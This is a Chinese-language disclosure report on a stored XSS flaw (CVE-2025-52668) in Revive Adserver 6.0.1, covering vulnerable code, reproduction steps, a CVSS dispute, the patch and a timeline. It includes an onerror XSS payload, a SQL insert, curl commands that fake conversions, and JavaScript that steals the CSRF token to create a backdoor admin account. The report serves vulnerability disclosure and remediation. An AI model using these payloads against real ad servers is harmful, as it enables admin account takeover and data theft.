Revive Adserver 存储型XSS漏洞报告
漏洞概述
报告ID: #3400506 漏洞类型: 存储型跨站脚本攻击 (Stored XSS) CVE ID: CVE-2025-52668 影响系统: Revive Adserver 6.0.1 组件: 统计/转换报告 (www/admin/stats-conversions.php:356) 严重程度: 高 (8.7)
技术细节
受影响代码
漏洞位于 www/admin/stats-conversions.php 文件的第356行,跟踪器名称未经适当转义直接输出:
|
|
漏洞原理
- 输出未经转义: 跟踪器名称直接使用
echo输出,未经过htmlspecialchars()处理 - 数据来源不可信: 跟踪器名称由广告商在创建跟踪器时控制输入
- 存储时未验证: 存储时未对HTML标签进行过滤或清理
- 高权限执行: 管理员查看转换报告时,恶意代码在其浏览器上下文中执行
复现步骤
环境要求
- 广告商账户(低权限)
- 管理员账户(用于测试影响)
攻击流程
-
创建恶意跟踪器:
- 以广告商身份登录
- 导航至:Inventory → Advertisers → Trackers tab
- 添加新跟踪器
- 设置跟踪器名称为:
<img src=x onerror="alert('XSS: ' + document.cookie)">
-
生成转换记录:
1 2 3 4 5-- 将转换关联到恶意跟踪器 INSERT INTO rv_data_intermediate_ad_connection ( tracker_id, ad_id, inside_window, tracker_date_time, connection_date_time, connection_action, connection_status, updated ) VALUES (1, 1, 1, NOW(), NOW(), 1, 4, NOW()); -
触发XSS:
- 以管理员身份登录
- 访问:
http://[host]/www/admin/stats.php?entity=conversions&clientid=1 - JavaScript弹窗立即执行:
XSS: sessionID=abc123; ox_install_session_id=def456
攻击影响分析
会话劫持与会话挟持
尽管HttpOnly标志阻止了直接的cookie窃取,但攻击仍然有效:
-
会话挟持(有效):
1 2 3 4 5 6 7 8 9// 即使有HttpOnly,这仍然有效: const csrf = document.querySelector('[name=token]').value; // 从页面DOM获取CSRF令牌 fetch('/www/admin/account-user-edit.php', { method: 'POST', credentials: 'include', // 浏览器自动发送HttpOnly cookie headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'username=backdoor&password=evil&isAdmin=1&csrf=' + csrf }); -
攻击能力:
- 创建管理员账户
- 修改竞争对手的广告活动状态
- 访问所有广告商数据
- 导出用户列表
- 执行任何管理员权限操作
技术讨论
攻击复杂性
厂商观点:
- 需要实际的转换数据,而第三方cookie限制使得转换变得罕见
- 攻击复杂性高
研究人员反驳:
- 可通过curl命令自生成转换,无需真实用户互动:
1 2 3 4# 1. 创建恶意跟踪器 # 2. 自生成转换: curl -c cookies.txt "http://ads.example.com/www/delivery/afr.php?zoneid=1&cb=$(date +%s)" curl -b cookies.txt "http://ads.example.com/www/delivery/ti.php?trackerid=<my_tracker_id>&cb=$(date +%s)"
CVSS评分争议
初始评分(厂商):2.6(低) 最终评分:8.7(高)
评分调整依据:
| 指标 | 厂商评分 | 研究人员评分 | 理由 |
|---|---|---|---|
| 攻击复杂度 | 高 | 低 | 可通过curl自生成转换 |
| 范围 | 未改变 | 已改变 | 从广告商权限提升至管理员权限 |
| 机密性 | 低 | 高 | 可通过fetch()窃取转换数据、活动信息 |
| 完整性 | 无 | 高 | 可通过会话挟持创建管理员账户、修改系统配置 |
漏洞修复
厂商提供的补丁文件:h1-3400506.patch (F4940909)
修复方案
对trackername、campaignid和campaignname的输出进行适当的HTML转义:
|
|
其他发现
- 相关漏洞:第357-358行同样缺少
htmlspecialchars()处理 - 影响范围:其他
stats-*.php文件可能存在类似问题 - 配置说明:
stats-conversions.php页面在全新安装中默认不包含在菜单系统中,但这不影响漏洞存在
时间线
- 2025年10月26日:漏洞报告提交
- 2025年10月27日:厂商确认为有效漏洞,初始评分为2.6(低)
- 2025年10月27-28日:技术讨论后评分调整为8.7(高)
- 2025年10月28日:提供修复补丁
- 2025年11月4日:分配CVE-2025-52668
- 2025年11月19日:公开披露
安全建议
- 输入验证:对所有用户输入进行适当的验证和清理
- 输出编码:在输出到HTML前使用
htmlspecialchars()等函数进行编码 - 最小权限原则:限制低权限用户对敏感功能的访问
- 内容安全策略:实施CSP头以减少XSS攻击的影响
- 定期安全审计:对关键代码路径进行安全审查
研究人员: Vitaly Simonovich (cyberjoker)
厂商联系人: mbeccati, erikgeurts (Revive Adserver团队)